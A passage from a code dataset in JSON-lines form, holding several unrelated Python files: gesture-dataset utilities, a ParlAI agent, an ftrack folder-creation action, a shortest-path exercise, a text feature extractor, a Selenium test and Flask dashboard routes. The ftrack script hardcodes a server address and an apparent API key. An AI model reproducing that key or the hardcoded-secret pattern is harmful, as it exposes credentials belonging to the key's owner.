\r\ndef read_csv(csvfile):\r\n rows=[]\r\n with open(csvfile, 'r') as f:\r\n csvreader = csv.reader(f)\r\n for row in csvreader:\r\n rows.append(row)\r\n return rows\r\n\r\ndef visual_box(data, output, i):\r\n import cv2\r\n import scipy\r\n img = Image.fromarray(np.array(data).squeeze(), mode='RGB')\r\n h, w = img.size[0], img.size[1]\r\n output = np.array(output).squeeze()\r\n output[::2] = output[::2] * w\r\n output[1::2] = output[1::2] * h\r\n img = cv2.cvtColor(np.asarray(img), cv2.COLOR_RGB2BGR)\r\n for j in range(0, 8, 2):\r\n cv2.circle(img, (int(output[j + 1]), int(output[j])), 5, (255, 255, 0), -1)\r\n # box format (w1, h1, w2, h2, ...)\r\n cv2.imwrite('/Data/hand_dataset_ox/vis/{:05d}.jpg'.format(i), img)\r\n print('img saving to \\'/Data/hand_dataset_ox/vis/{:05d}.jpg\\''.format(i))\r\n\r\n\r\ndef copy_images():\r\n import os\r\n import shutil\r\n root = '/Data/LISA_handetect/detectiondata/test/Jester_pos/'\r\n dirs = [root + x for x in os.listdir(root) if os.path.isdir(root + x)]\r\n dirs.sort()\r\n for dir in dirs:\r\n idx = Path(dir).stem\r\n imgs = Path(dir).glob('*.jpg')\r\n for img in imgs:\r\n shutil.copyfile(img, root + str(idx) + '_{}.jpg'.format(img.stem))\r\n print('writing {}_{}.jpg'.format(idx, img.stem))\r\n\r\ndef Jester_mini():\r\n import shutil\r\n n = 1500\r\n csv_file = Path(JESTER_ROOT) / 'jester-v1-test.csv'\r\n save_root = Path(JESTER_ROOT) / 'mini' / 'test'\r\n save_root.mkdir_p()\r\n dirs = read_csv(csv_file)[:n]\r\n \r\n for i, label in enumerate(dirs):\r\n idx = label[0].split(';')[0]\r\n imgs_file = Path(JESTER_ROOT) / '20bn-jester-v1' / idx\r\n try:\r\n shutil.copytree(imgs_file, save_root / idx)\r\n except:\r\n print('{} already exists'.format(save_root/idx))\r\n print('copying {}/{}'.format(i,n))\r\n \r\n csv_new = Path(JESTER_ROOT)/'test_label.csv'\r\n with open(csv_new, 'w') as f:\r\n writer = csv.writer(f)\r\n writer.writerows(dirs)\r\n \r\n print('finished')\r\n \r\n \r\n \r\n \r\nif __name__ == '__main__':\r\n # process_hand_mask()\r\n import shutil\r\n Jester_mini()\r\n # from utils.augmentations import SSDAugmentation\r\n # # from data import *\r\n # from data import detection_collate\r\n #\r\n # train_set = JESTER(JESTER_ROOT, train=False, transform=SSDAugmentation(300))\r\n # train_loader = torch.utils.data.DataLoader(\r\n # train_set,\r\n # batch_size=8, shuffle=True,\r\n # num_workers=0, collate_fn=detection_collate,\r\n # pin_memory=True)\r\n #\r\n # for i_step, (input, target) in enumerate(train_loader):\r\n # print(input)\r\n # print(target)\r\n #\r\n # print(1)\r\n # file = '/Data/LISA_handetect/detectiondata/train/posGt/11_0000530_0_0_0_0.txt'\r\n # with open(file) as f:\r\n # label = f.readlines()\r\n # print(label)","sub_path":"data/Jester.py","file_name":"Jester.py","file_ext":"py","file_size_in_byte":8774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"642170046","text":"# \n# \n# from parlai.core.agents import Agent\n# from parlai.core.dict import DictionaryAgent\n# from parlai.core.utils import PaddingUtils, round_sigfigs\n# from parlai.core.thread_utils import SharedTable\n# from .modules import RNNModel\n\nfrom parlai.agents.language_model.language_model import LanguageModelAgent\nfrom parlai.core.dict import DictionaryAgent\n\nfrom parlai.misc.idf_counter import IDFScorer\n\nimport torch\n# from torch.autograd import Variable\nimport torch.nn as nn\n\n# import os\n# import math\n# import json\nimport copy\nfrom nltk.tokenize import sent_tokenize\n\n# to accomodate functions imported from torch_agent.py\nfrom parlai.core.distributed_utils import is_primary_worker\nfrom parlai.core.build_data import modelzoo_path\n\n\n\nclass LanguageModelRetrieverAgent(LanguageModelAgent):\n \"\"\" Modified from LanguageModelAgent:\n Agent which trains an RNN on a language modeling task.\n It is adapted from the language model featured in Pytorch's examples repo\n here: .\n \"\"\"\n\n @staticmethod\n def dictionary_class():\n return DictionaryAgent\n\n @staticmethod\n def add_cmdline_args(argparser):\n \"\"\"Add command-line arguments specifically for this agent.\"\"\"\n argparser.set_defaults(batch_sort=False)\n agent = argparser.add_argument_group('Language Model Arguments')\n agent.add_argument('--init-model', type=str, default=None,\n help='load dict/features/weights/opts from this file')\n agent.add_argument('-hs', '--hiddensize', type=int, default=200,\n help='size of the hidden layers')\n agent.add_argument('-esz', '--embeddingsize', type=int, default=200,\n help='size of the token embeddings')\n agent.add_argument('-nl', '--numlayers', type=int, default=2,\n help='number of hidden layers')\n agent.add_argument('-dr', '--dropout', type=float, default=0.2,\n help='dropout rate')\n agent.add_argument('-clip', '--gradient-clip', type=float, default=0.25,\n help='gradient clipping')\n agent.add_argument('--no-cuda', action='store_true', default=False,\n help='disable GPUs even if available')\n agent.add_argument('-rnn', '--rnn-class', default='LSTM',\n help='type of recurrent net (RNN_TANH, RNN_RELU, LSTM, GRU)')\n agent.add_argument('-sl', '--seq-len', type=int, default=35,\n help='sequence length')\n agent.add_argument('-tied', '--emb-tied', action='store_true',\n help='tie the word embedding and softmax weights')\n agent.add_argument('-seed', '--random-seed', type=int, default=1111,\n help='random seed')\n agent.add_argument('--gpu', type=int, default=-1,\n help='which GPU device to use')\n agent.add_argument('-tr', '--truncate-pred', type=int, default=50,\n help='truncate predictions')\n agent.add_argument('-rf', '--report-freq', type=float, default=0.1,\n help='report frequency of prediction during eval')\n agent.add_argument('-pt', '--person-tokens', type='bool', default=True,\n help='append person1 and person2 tokens to text')\n # learning rate parameters\n agent.add_argument('-lr', '--learningrate', type=float, default=20,\n help='initial learning rate')\n agent.add_argument('-lrf', '--lr-factor', type=float, default=1.0,\n help='mutliply learning rate by this factor when the \\\n validation loss does not decrease')\n agent.add_argument('-lrp', '--lr-patience', type=int, default=10,\n help='wait before decreasing learning rate')\n agent.add_argument('-lrm', '--lr-minimum', type=float, default=0.1,\n help='minimum learning rate')\n agent.add_argument('-sm', '--sampling-mode', type='bool', default=False,\n help='sample when generating tokens instead of taking \\\n the max and do not produce UNK token (when bs=1)')\n \n \n # my arguments\n # from torch_agent.py\n agent.add_argument(\n '-emb', '--embedding-type', default='random',\n choices=['random', 'glove', 'glove-fixed', 'glove-twitter-fixed',\n 'fasttext', 'fasttext-fixed', 'fasttext_cc',\n 'fasttext_cc-fixed'],\n help='Choose between different strategies for initializing word '\n 'embeddings. Default is random, but can also preinitialize '\n 'from Glove or Fasttext. Preinitialized embeddings can also '\n 'be fixed so they are not updated during training.')\n \n agent.add_argument(\n '-wcidf', '--weight-criterion-idf', type='bool', default=False,\n help='Whether to weight the loss with the idf weights '\n '(must be pre-calculated)')\n \n \n LanguageModelAgent.dictionary_class().add_cmdline_args(argparser)\n return agent\n\n def __init__(self, opt, shared=None):\n \"\"\"Set up model if shared params not set, otherwise no work to do.\"\"\"\n super().__init__(opt, shared)\n # self.episode_history = [self.END_IDX,] # OAD\n self.episode_history = [] # OAD\n# self.episode_history_text = 'endofmessage endofsegment' # OAD\n self.episode_history_text = 'endofsegment' # OAD\n \n \n if not self.states and opt['embedding_type'] != 'random':\n # `not states`: only set up embeddings if not loading model\n self._copy_embeddings(self.model.encoder.weight, opt['embedding_type'])\n \n # Weight token importance, if desired. \n if opt['weight_criterion_idf']:\n \n idf_scorer = IDFScorer(opt)\n min_idf = min(idf_scorer.vectorizer.idf_)\n word_weights = min_idf * torch.ones(len(self.dict.freq.keys()))\n \n for tok in self.dict.freq.keys(): \n \n if tok != self.dict.null_token:\n \n try:\n word_idf = idf_scorer.vectorizer.idf_[idf_scorer.vectorizer.vocabulary_[tok]]\n word_weights[self.dict.tok2ind[tok]] = word_idf\n except: \n if tok in [self.dict.start_token, \n self.dict.end_token, \n self.dict.unk_token]:\n pass # leave set to minimum idf, as initialized.\n \n else: \n print('there is no idf for token: ', tok, ' type: ', type(tok))\n# import sys; sys.exit()\n \n # word_weights[self.dict.tok2ind[tok]] = 1./(float(self.dict.freq[tok]) + 1.)**.5\n \n # set up criteria\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.NULL_IDX,\n size_average=False, \n weight=word_weights)\n if self.use_cuda:\n # push to cuda\n self.criterion.cuda() \n \n self.id = 'LanguageModelRetriever'\n \n \n def reset(self):\n \"\"\"Reset observation and episode_done.\"\"\"\n self.observation = None\n # self.episode_history = [self.END_IDX,] # OAD\n self.episode_history = [] # OAD\n# self.episode_history_text = 'endofmessage endofsegment' # OAD\n self.episode_history_text = 'endofsegment' # OAD\n self.reset_metrics()\n \n def observe(self, observation):\n return self.observe_appending_special_tokens(observation) \n \n \n def observe_appending_special_tokens(self, observation):\n \n \"\"\"Save observation for act.\n If multiple observations are from the same episode, concatenate them.\n \"\"\"\n # shallow copy observation (deep copy can be expensive)\n obs = observation.copy()\n seq_len = self.opt['seq_len']\n is_training = True\n \n if 'labels' not in obs:\n is_training = False\n if 'is_training_lambda' in self.opt and self.opt['is_training_lambda']:\n is_training = False\n \n \n if obs['turn_num'] == 0: \n \n if obs['first_message'] != '':\n \n response_formated = ' endofsegment '.join(sent_tokenize(obs['first_message']))\n response_formated += ' endofsegment endofmessage'\n \n self.episode_history_text = response_formated\n self.episode_history = self.parse(obs['first_message']\n + ' endofmessage endofsegment')\n \n \n if is_training:\n \n if 'labels' in obs:\n \n obs['labels'][0] = obs['labels'][0]\n \n vec = self.parse(obs['labels'][0])\n vec.append(self.END_IDX)\n# self.next_observe += vec\n \n # OAD: stop accumulating at the end of an episode.\n if obs['episode_done']:\n self.episode_history = [self.END_IDX,]\n# self.episode_history = []\n# self.episode_history_text = 'endofmessage endofsegment'\n self.episode_history_text = 'endofsegment'\n \n else:\n # accumulate episode history.\n self.episode_history += vec\n# self.episode_history_text = ' '.join([self.episode_history_text, \n# obs['labels'][0]]) \n self.episode_history_text = ' '.join([self.episode_history_text, \n obs['labels'][0] + ' endofsegment']) \n \n \n if len(self.episode_history) < (seq_len + 1):\n # not enough to return to make a batch\n # we handle this case in vectorize\n # labels indicates that we are training\n self.observation = {'labels': ''}\n return self.observation\n \n else:\n vecs_to_return = []\n overlap = 3 \n \n # first obs will overlap 1 with current observation\n start = max(0, len(self.episode_history) - (len(vec) + seq_len)) \n stop = len(self.episode_history) - (seq_len + 1)\n \n # take observations of seq-len that overlap with just observed \n for i in range(start, stop, overlap):\n vecs_to_return.append(self.episode_history[i:i+seq_len+1])\n \n \n dict_to_return = {'text': '', 'labels': '', 'text2vec': vecs_to_return}\n self.observation = dict_to_return\n \n return dict_to_return\n else:\n \n if 'text' in obs:\n \n # truncate to approximate multiple of seq_len history\n obs['text'] = ' '.join(self.episode_history_text.split(' ')[-4*seq_len:])\n \n # OAD: stop accumulating at the end of an episode.\n if obs['episode_done']:\n# self.episode_history_text = 'endofmessage endofsegment'\n self.episode_history_text = 'endofsegment'\n else:\n # add end tokens between message moves #TODO: replace sent_tokenize with spacy\n response_formated = ' endofsegment '.join(sent_tokenize(obs['eval_labels'][0]))\n response_formated += ' endofsegment endofmessage' # endofsegment'\n# response_formated = ' '.join(sent_tokenize(obs['eval_labels'][0]))\n# response_formated += ' endofmessage'\n \n # note: don't end history on EOS, as that's added to the input (history) \n # automatically at decode time. This should probably be a TODO to change. \n \n # accumulate episode history\n if self.episode_history_text == 'endofsegment':\n self.episode_history_text = ' '.join([self.episode_history_text, \n response_formated])\n else: \n self.episode_history_text = ' '.join([self.episode_history_text, \n 'endofsegment',\n response_formated])\n \n self.observation = obs\n \n return obs\n \n \n \n \n def _get_embtype(self, emb_type):\n \n ''' copied from torch_agent.py '''\n \n # set up preinitialized embeddings\n try:\n import torchtext.vocab as vocab\n except ImportError as ex:\n print('Please install torch text with `pip install torchtext`')\n raise ex\n pretrained_dim = 300\n if emb_type.startswith('glove'):\n if 'twitter' in emb_type:\n init = 'glove-twitter'\n name = 'twitter.27B'\n pretrained_dim = 200\n else:\n init = 'glove'\n name = '840B'\n embs = vocab.GloVe(\n name=name, dim=pretrained_dim,\n cache=modelzoo_path(self.opt.get('datapath'),\n 'models:glove_vectors'))\n elif emb_type.startswith('fasttext_cc'):\n init = 'fasttext_cc'\n from parlai.zoo.fasttext_cc_vectors.build import url as fasttext_cc_url\n embs = vocab.Vectors(\n name='crawl-300d-2M.vec',\n url=fasttext_cc_url,\n cache=modelzoo_path(self.opt.get('datapath'),\n 'models:fasttext_cc_vectors'))\n elif emb_type.startswith('fasttext'):\n init = 'fasttext'\n embs = vocab.FastText(\n language='en',\n cache=modelzoo_path(self.opt.get('datapath'),\n 'models:fasttext_vectors'))\n else:\n raise RuntimeError('embedding type {} not implemented. check arg, '\n 'submit PR to this function, or override it.'\n ''.format(emb_type))\n return embs, init\n \n \n def _project_vec(self, vec, target_dim, method='random'):\n \n ''' copied from torch_agent.py '''\n \n \"\"\"If needed, project vector to target dimensionality.\n Projection methods implemented are the following:\n random - random gaussian matrix multiplication of input vector\n :param vec: one-dimensional vector\n :param target_dim: dimension of returned vector\n :param method: projection method. will be used even if the dim is\n not changing if method ends in \"-force\".\n \"\"\"\n pre_dim = vec.size(0)\n if pre_dim != target_dim or method.endswith('force'):\n if method.startswith('random'):\n # random projection\n if not hasattr(self, 'proj_rp'):\n self.proj_rp = torch.Tensor(pre_dim, target_dim).normal_()\n # rescale so we're not destroying norms too much\n # http://scikit-learn.org/stable/modules/random_projection.html#gaussian-random-projection\n self.proj_rp /= target_dim\n return torch.mm(vec.unsqueeze(0), self.proj_rp)\n else:\n # TODO: PCA\n # TODO: PCA + RP\n # TODO: copy\n raise RuntimeError('Projection method not implemented: {}'\n ''.format(method))\n else:\n return vec\n \n \n def _copy_embeddings(self, weight, emb_type, log=True):\n \n ''' copied from torch_agent.py '''\n \n \"\"\"Copy embeddings from the pretrained embeddings to the lookuptable.\n :param weight: weights of lookup table (nn.Embedding/nn.EmbeddingBag)\n :param emb_type: pretrained embedding type\n \"\"\"\n if not is_primary_worker():\n # we're in distributed mode, copying embeddings in the workers\n # slows things down considerably\n return\n embs, name = self._get_embtype(emb_type)\n cnt = 0\n for w, i in self.dict.tok2ind.items():\n if w in embs.stoi:\n vec = self._project_vec(embs.vectors[embs.stoi[w]],\n weight.size(1))\n weight.data[i] = vec\n cnt += 1\n\n if log:\n print('Initialized embeddings for {} tokens ({}%) from {}.'\n ''.format(cnt, round(cnt * 100 / len(self.dict), 1), name))\n","sub_path":"parlai/agents/language_model_retriever/language_model_retriever.py","file_name":"language_model_retriever.py","file_ext":"py","file_size_in_byte":17647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"625874212","text":"__author__ = 'Mac'\n\nimport os\n\n\nos.environ['FTRACK_SERVER'] = 'http://192.168.9.200'\nos.environ['FTRACK_APIKEY'] = 'b445309f-1c5d-40ac-b68b-3fdfb4f3ccb9'\nos.environ['LOGNAME'] = 'andyguo'\n\n# :coding: utf-8\n# :copyright: Copyright (c) 2015 ftrack\n\nimport sys\nimport argparse\nimport logging\n\nimport ftrack\n# import ftrack_connect.application\n\n\nclass MyAction(ftrack.Action):\n '''Describe your action here.'''\n\n #: Action identifier.\n identifier = 'com.phenom-films.createfolders' # Unique identifier for your action.\n\n #: Action label.\n label = 'create folders' # Action label which the user will see in the interface.\n\n def launch(self, event):\n '''Callback method for action.'''\n selection = event['data'].get('selection', [])\n self.logger.info(u'Launching action with selection {0}'.format(selection))\n\n # Validate selection and abort if not valid\n if not self.validateSelection(selection):\n self.logger.warning('Selection is not valid, aborting action')\n return\n\n # Implement your action logic here, return a UI or run some\n # code and return your result.\n #\n # If you are doing any heavy lifting, consider running offloading that\n # to a separate thread and returning quickly.\n #\n # To report back to the user you can utilize ftrack.createJob and then\n # update it's status and / or description.\n\n task = ftrack.Shot(id=selection[0]['entityId'])\n parents = task.getParents()\n for index, item in enumerate(parents):\n print(index, item)\n\n foldername = '/Users/mac/Desktop'\n for index in xrange(len(parents) - 1, -1, -1):\n foldername = os.path.join(foldername, parents[index].get('name'))\n # print foldername\n os.makedirs(foldername)\n\n\n pass\n\n return {\n 'success': True,\n 'message': 'createfolders completed successfully'\n }\n\n def discover(self, event):\n '''Return action config.'''\n selection = event['data'].get('selection', [])\n self.logger.info('%s', event)\n # self.logger.info(u'Discovering action with selection: {0}'.format(selection))\n\n\n\n\n # validate selection, and only return action if it is valid.\n if self.validateSelection(selection):\n return super(MyAction, self).discover(event)\n\n def validateSelection(self, selection):\n '''Return True if *selection* is valid'''\n # Replace with custom logic for validating selection.\n # For example check the length or entityType of items in selection.\n return True\n\n\n\n\n\ndef register(registry, **kw):\n '''Register action. Called when used as an event plugin.'''\n action = MyAction()\n action.register()\n\n\ndef main(arguments=None):\n '''Set up logging and register action.'''\n if arguments is None:\n arguments = []\n\n parser = argparse.ArgumentParser()\n # Allow setting of logging level from arguments.\n loggingLevels = {}\n for level in (\n logging.NOTSET, logging.DEBUG, logging.INFO, logging.WARNING,\n logging.ERROR, logging.CRITICAL\n ):\n loggingLevels[logging.getLevelName(level).lower()] = level\n\n parser.add_argument(\n '-v', '--verbosity',\n help='Set the logging output verbosity.',\n choices=loggingLevels.keys(),\n default='info'\n )\n namespace = parser.parse_args(arguments)\n\n # Set up basic logging\n logging.basicConfig(level=loggingLevels[namespace.verbosity])\n\n # Subscribe to action.\n ftrack.setup()\n action = MyAction()\n action.register()\n\n # Wait for events\n ftrack.EVENT_HUB.wait()\n\n\nif __name__ == '__main__':\n raise SystemExit(main(sys.argv[1:]))\n\n\n\n\n","sub_path":"createFolders.py","file_name":"createFolders.py","file_ext":"py","file_size_in_byte":3774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"428915809","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 18 00:14:11 2015\n\n@author: stoimenoff\n\"\"\"\nclass Heap:\n def __init__(self):\n self.items = []\n def get_min_child_index(self, index):\n min_child_index = index #return same value as input = no child\n if 2*index + 1 < len(self.items):\n min_child_index = 2*index + 1\n if 2*index + 2 < len(self.items):\n if self.items[2*index + 2] < self.items[min_child_index]:\n min_child_index = 2*index + 2\n return min_child_index\n def add(self, item):\n self.items.append(item)\n self.bubble_up(len(self.items) - 1)\n def bubble_up(self, index):\n while self.items[index] < self.items[ (index-1) >> 1 ] and index != 0:\n swap = self.items[index]\n self.items[index] = self.items[(index - 1) >> 1]\n self.items[(index - 1) >> 1] = swap\n index = (index - 1) >> 1\n def pop(self):\n minimum = self.items[0]\n self.items[0] = self.items[-1]\n del self.items[-1]\n index = 0\n min_child_index = self.get_min_child_index(index)\n while self.items != [] and self.items[index] > self.items[min_child_index]:\n swap = self.items[index]\n self.items[index] = self.items[min_child_index]\n self.items[min_child_index] = swap\n index = min_child_index\n min_child_index = self.get_min_child_index(index)\n return minimum\n def get_root(self):\n return self.items[0]\n def is_empty(self):\n if self.items == []:\n return True\n return False\n def size(self):\n return len(self.items)\n def print_heap(self):\n for item in self.items:\n print (item, end = \" \")\n print(\"\")\n\nclass Junction:\n def __init__(self, id, prev = None, distance = float(\"inf\")):\n self.id = id\n self.prev = prev\n self.distance = distance\n def __gt__(self, junction):\n return self.distance > junction.distance\n def __lt__(self, junction):\n return self.distance < junction.distance\n\nclass Navigation:\n def __init__(self, matrix, n):\n self.matrix = matrix\n self.n = n\n def navigate(self, start, end):\n heap = Heap()\n for i in range(self.n):\n heap.add( Junction(i) )\n heap.items[start].distance = 0\n heap.bubble_up(start)\n while heap.size() > 0:\n current = heap.pop()\n if current.id == end:\n return current\n for i in range(heap.size()):\n cur_to_i = self.matrix[current.id][heap.items[i].id]\n if cur_to_i > 0:\n if current.distance + cur_to_i < heap.items[i].distance:\n heap.items[i].distance = current.distance + cur_to_i\n heap.items[i].prev = current\n heap.bubble_up(i)\n return \"NO WAY\"\n\ndef main():\n init = [int(item) for item in input().split()]\n n = init[0]\n m = init[1]\n start = init[2]\n end = init[3]\n matrix = [[0 for i in range(n)] for i in range(n)]\n for i in range(m):\n edge = [int(item) for item in input().split()]\n matrix[edge[0] - 1][edge[1] - 1] = edge[2]\n matrix[edge[1] - 1][edge[0] - 1] = edge[2]\n nav = Navigation(matrix, n)\n result = []\n ending = nav.navigate(start - 1, end - 1)\n print(ending.distance)\n while ending != None:\n result.append(ending.id + 1)\n ending = ending.prev\n for i in range(len(result)-1, -1, -1):\n print(result[i], end = \" \")\n print(\"\")\nmain()","sub_path":"week6/2-Navigation/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"100372471","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2019/7/2 15:49\r\n# @Author : panxiaotong\r\n# @Description : extract features and labels\r\n\r\nimport argparse\r\nimport jieba\r\nimport random\r\n\r\nparser = argparse.ArgumentParser(description='segmentation and extract features from file')\r\nparser.add_argument('--input', type=str, default='./nlp/mi_pv.dat', help='input file')\r\nparser.add_argument('--trainratio', type=int, default=80, help='train set ratio')\r\nparser.add_argument('--trainset', type=str, default='./nlp/train.dat', help='train output file')\r\nparser.add_argument('--validationset', type=str, default='./nlp/val.dat', help='validation output file')\r\nargs = parser.parse_args()\r\n\r\nsample_list = []\r\nlabel_list = []\r\nword_dict = {}\r\nlabel_dict = {}\r\ntext_total_length = 0\r\nwith open(args.input, 'r') as f:\r\n for line in f:\r\n elements = line.strip('\\r\\n').split('\\t')\r\n if len(elements) < 2:\r\n continue\r\n query = elements[0]\r\n seg_list = [item for item in jieba.cut(query, cut_all=False)]\r\n id_list = []\r\n for word in seg_list:\r\n if word not in word_dict:\r\n word_dict[word] = len(word_dict)\r\n id_list.append(word_dict[word])\r\n sample_list.append(id_list)\r\n text_total_length += len(id_list)\r\n label = elements[1]\r\n if label not in label_dict:\r\n label_dict[label] = len(label_dict)\r\n label_list.append(label_dict[label])\r\n f.close()\r\nprint('word size is %d, label size is %d' % (len(word_dict), len(label_dict)))\r\n\r\n'''\r\nsample_length = len(sample_list)\r\navg_length = int(text_total_length / sample_length) + 1\r\nprint('avg length is %d' % avg_length)\r\nvalidation_size = int((100 - args.trainratio) * sample_length / 100)\r\nvalidation_idx_list = random.sample(range(sample_length), validation_size)\r\n\r\ntrain_f = open(args.trainset, 'w')\r\nvalidation_f = open(args.validationset, 'w')\r\nfor idx, sample in enumerate(sample_list):\r\n if idx in validation_idx_list:\r\n if len(sample) < avg_length:\r\n for i in range(avg_length - len(sample)):\r\n sample.append(0)\r\n validation_f.write((',').join([str(item) for item in sample[:avg_length]]) + '\\t' + str(label_list[idx]) + '\\n')\r\n else:\r\n if len(sample) < avg_length:\r\n for i in range(avg_length - len(sample)):\r\n sample.append(0)\r\n train_f.write((',').join([str(item) for item in sample[:avg_length]]) + '\\t' + str(label_list[idx]) + '\\n')\r\ntrain_f.close()\r\nvalidation_f.close()\r\n'''","sub_path":"feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"333852365","text":"#!/usr/bin/env python3\n\nimport boto3\nimport unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n\n\ndef lookupDeviceFarmProjectARN():\n # Set the region for SSM via an environment variable\n ssm = boto3.client(\"ssm\")\n parameter = ssm.get_parameter(Name='DeviceFarmProjectArn', WithDecryption=True)\n deviceFarmProjectARN = parameter['Parameter']['Value']\n return deviceFarmProjectARN\n\n\nclass PythonOrgSearch(unittest.TestCase):\n\n def setUp(self):\n devicefarm_client = boto3.client(\"devicefarm\", region_name=\"us-west-2\")\n testgrid_url_response = devicefarm_client.create_test_grid_url(\n projectArn=lookupDeviceFarmProjectARN(), expiresInSeconds=300)\n self.driver = webdriver.Remote(testgrid_url_response[\"url\"], webdriver.DesiredCapabilities.FIREFOX)\n\n# def setUp(self):\n# self.driver = webdriver.Remote(\n# command_executor='http://127.0.0.1:4444/wd/hub',\n# desired_capabilities=DesiredCapabilities.CHROME)\n\n def test_search_in_python_org(self):\n driver = self.driver\n driver.get(\"http://www.python.org\")\n self.assertIn(\"Python\", driver.title)\n elem = driver.find_element_by_name(\"q\")\n elem.send_keys(\"pycon\")\n elem.send_keys(Keys.RETURN)\n assert \"No results found.\" not in driver.page_source\n\n def tearDown(self):\n# self.driver.close()\n self.driver.quit()\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"simple_usage-unittest.py","file_name":"simple_usage-unittest.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"228962379","text":"from flask import redirect, url_for, render_template, current_app, request\nfrom flask_security import current_user, login_required, roles_accepted, logout_user\n\nimport assets\nfrom controllers import shops, shopify\nfrom webapp.helpers import catch_errors, verify_required_condition, generate_success_response_from_obj\nfrom webapp.dashboard_q_and_a import forms as q_and_a_forms\nfrom webapp.shop_dashboard import shop_dashboard\nfrom webapp.shop_dashboard.api import dashboard\n\n\ndef verify_shop_owner(shop_id):\n shop = shops.get_shop(shop_id)\n verify_required_condition(condition=shop.owner_id == current_user.id,\n error_msg=assets.ExceptionMessages.NOT_YOUR_INSTANCE.format(instance='shop'))\n return shop\n\n\n@shop_dashboard.route(\"/shops//dashboard\", defaults={'shop_id': 0})\n@shop_dashboard.route(\"/shops//dashboard\")\n@login_required\n@roles_accepted(assets.Roles.SHOP_OWNER_ROLE)\n@catch_errors()\ndef route_shop_dashboard(shop_id):\n \"\"\"\n View Shop dashboard\n :param shop_id: The shop id for the dashboard\n\n **Access**\n * Logged in shop owner user\n\n **Request context**\n * Render the shop dashboard\n \"\"\"\n ######## If subscription is inactive, always go to the account tab by default\n\n if request.args.get(\"anchor\"):\n anchor = request.args.get(\"anchor\")\n return redirect(url_for(\"shop_dashboard.route_shop_dashboard\", shop_id=shop_id, _anchor=anchor, anchored=\"true\"))\n\n if not current_user.customer.subscription.active and not request.args.get(\"anchored\"):\n return redirect(url_for(\"shop_dashboard.route_shop_dashboard\", shop_id=shop_id, anchor=\"account\"))\n ########\n\n if current_user.password is None:\n return redirect(url_for(\"auth.shopify_install_setup_user\", user_id=current_user.id))\n\n shop = verify_shop_owner(shop_id)\n answer_form = q_and_a_forms.AnswerCreateForm()\n\n ctx = {'dashboard': dashboard,\n 'shop': shop,\n 'answer_form': answer_form,\n 'js_is_available': not current_app.testing,\n 'subscription_active': current_user.customer.has_active_subscription()}\n return render_template('dashboard.html', **ctx)\n\n\n@shop_dashboard.route(\"/shops//dashboard/\", defaults={'shop_id': 0, 'tab_name': ''})\n@shop_dashboard.route(\"/shops//dashboard/\")\n@login_required\n@roles_accepted(assets.Roles.SHOP_OWNER_ROLE)\n@catch_errors()\ndef route_dashboard_load_tab(shop_id, tab_name):\n \"\"\"\n Load a tab name\n :param shop_id: The shop id for the dashboard\n :param tab_name: The tab_name to load\n\n **Access**\n * Logged in shop owner user\n\n **Request context**\n * Render the shop dashboard\n \"\"\"\n\n if current_user.password is None:\n return ''\n\n shop = verify_shop_owner(shop_id)\n\n if not current_user.customer.subscription.active and tab_name not in [\"account\"]:\n return render_template('tab-inactive-subscription.html', shop=shop)\n\n plugin = dashboard.get_plugin_by_name(tab_name)\n if not plugin:\n return ''\n ctx = plugin.load_context(shop=shop)\n answer_form = q_and_a_forms.AnswerCreateForm()\n ctx['answer_form'] = answer_form\n ctx['shop'] = shop\n return render_template(plugin.template, **ctx)\n\n\n# TODO(pisquared): This should be in Shopify\n@shop_dashboard.route(\"/shops//setup-billing\", defaults={'shop_id': 0})\n@shop_dashboard.route(\"/shops//setup-billing\")\n@login_required\n@roles_accepted(assets.Roles.SHOP_OWNER_ROLE)\n@catch_errors()\ndef shop_setup_billing_shopify(shop_id):\n \"\"\"\n If shop is on Shopify Billing, return a url to be redirected to Shopify\n page where the user will accept or decline the charge\n\n **Access**\n * Shop owner\n\n \"\"\"\n url = shopify.setup_billing(shop_id)\n return redirect(url)\n\n\n@shop_dashboard.route(\"/shops//uninstall\", methods=[\"POST\"])\n@login_required\n@roles_accepted(assets.Roles.SHOP_OWNER_ROLE)\n@catch_errors()\ndef shop_uninstall_app(shop_id):\n \"\"\"\n Shop gets uninstalled cleanly\n\n **Access**\n * Shop owner\n\n \"\"\"\n shopify.clean_uninstall_shop.delay(shop_id)\n logout_user()\n return generate_success_response_from_obj(success_message=assets.ExceptionMessages.UNINSTALLED)\n","sub_path":"webapp/shop_dashboard/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"68522428","text":"import myPeriod\nimport myPlot\n\nplt, fig, ax1, ax2 = myPlot.createPlot([0], windowSize=10, sigma=3.0, rolling=True) # 그래프 생성\n\ncpu_thread = myPeriod.period()\ncpu_thread.run(plt, fig, ax1, ax2)\n\nwhile cpu_thread.on:\n cpu_thread.on = bool(input()) # \"\"를 입력할때까지","sub_path":"resMon/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"471520992","text":"# Problem 4\n# Write a function is_triangular that meets the specification below. A triangular number is a number obtained by the continued summation of integers starting from 1. For example, 1, 1+2, 1+2+3, 1+2+3+4, etc., corresponding to 1, 3, 6, 10, etc., are triangular numbers.\n\ndef is_triangular(k):\n \"\"\"\n k, a positive integer\n returns True if k is triangular and False if not\n \"\"\"\n x = 0\n total = 